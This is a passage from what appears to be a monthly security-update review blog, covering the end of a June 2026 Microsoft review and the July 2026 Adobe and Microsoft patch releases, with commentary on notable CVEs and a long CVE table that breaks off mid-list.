Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The July 2026 Security Update Review

Sat, 25 Jul 2026 19:02:51 +0200

Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-82	Adobe ColdFusion	13	Critical	9.9	No	1
APSB26-73	Adobe Commerce	13	Critical	9.6	No	2
APSB26-78	Adobe After Effects	3	Critical	7.8	No	3
APSB26-83	Adobe Animate	6	Critical	8.6	No	3
APSB26-71	Adobe Audition	6	Critical	7.8	No	3
APSB26-81	Adobe Bridge	6	Critical	7.8	No	3
APSB26-77	Adobe Creative Cloud Desktop Application	2	Critical	8.1	No	3
APSB26-74	Adobe Experience Manager	13	Critical	9.6	No	3
APSB26-79	Adobe Illustrator	5	Critical	9.3	No	3
APSB26-72	Adobe Media Encoder	5	Critical	7.8	No	3
APSB26-76	Adobe Premiere Pro	4	Critical	7.8	No	3
APSB26-80	Content Credentials SDK	12	Critical	8.2	No	3
TOTAL	12 bulletins	88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

- CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

- CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

- CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

- CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

- CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

- CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

- CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

- CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

- CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Moderate	5.3	No	Yes	EoP
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.1	Yes	No	SFB
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-45499 **	Azure OpenAI Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41106 **	Microsoft 365 Copilot Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-26145 **	Microsoft Azure Synapse Elevation of Privilege Vulnerability	Critical	4.8	No	No	EoP
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-57100 **	Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-54998 **	Microsoft Exchange Online Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Critical	9.1	No	No	SFB
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	7.4	No	No	EoP
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	8.2	No	No	EoP
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7.8	No	No	EoP
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7	No	No	EoP
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-47302	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50525	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50651	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57108	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Important	8.1	No	No	SFB
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-50659	.NET Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-50526	.NET Tampering Vulnerability	Important	7	No	No	Tampering
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Important	7.1	No	No	DoS
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	Important	4.8	No	No	Spoofing
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Important	8.2	No	No	EoP
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49174	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-50495	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58596	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-57991	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	7.4	No	No	Info
CVE-2026-58291	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57981	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57984	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57985	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.6	No	No	RCE
CVE-2026-57986	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57988	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.1	No	No	RCE
CVE-2026-57992	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58276	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-56645	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57974	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57975	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58281	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58284	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58285	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58287	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58288	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58289	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	9	No	No	RCE
CVE-2026-58290	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58292	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58293	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58294	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57983	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-58295	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.3	No	No	SFB
CVE-2026-58525	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-57987	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-58278	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-56646	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-57977	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-57993	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.4	No	No	Spoofing
CVE-2026-58282	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58283	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58286	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58298	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.2	No	No	Spoofing
CVE-2026-58524	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-58296	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58297	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58300	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-58522	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-58299	Microsoft Edge for Android Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58523	Microsoft Edge for Android Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Important	6.6	No	No	Info
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
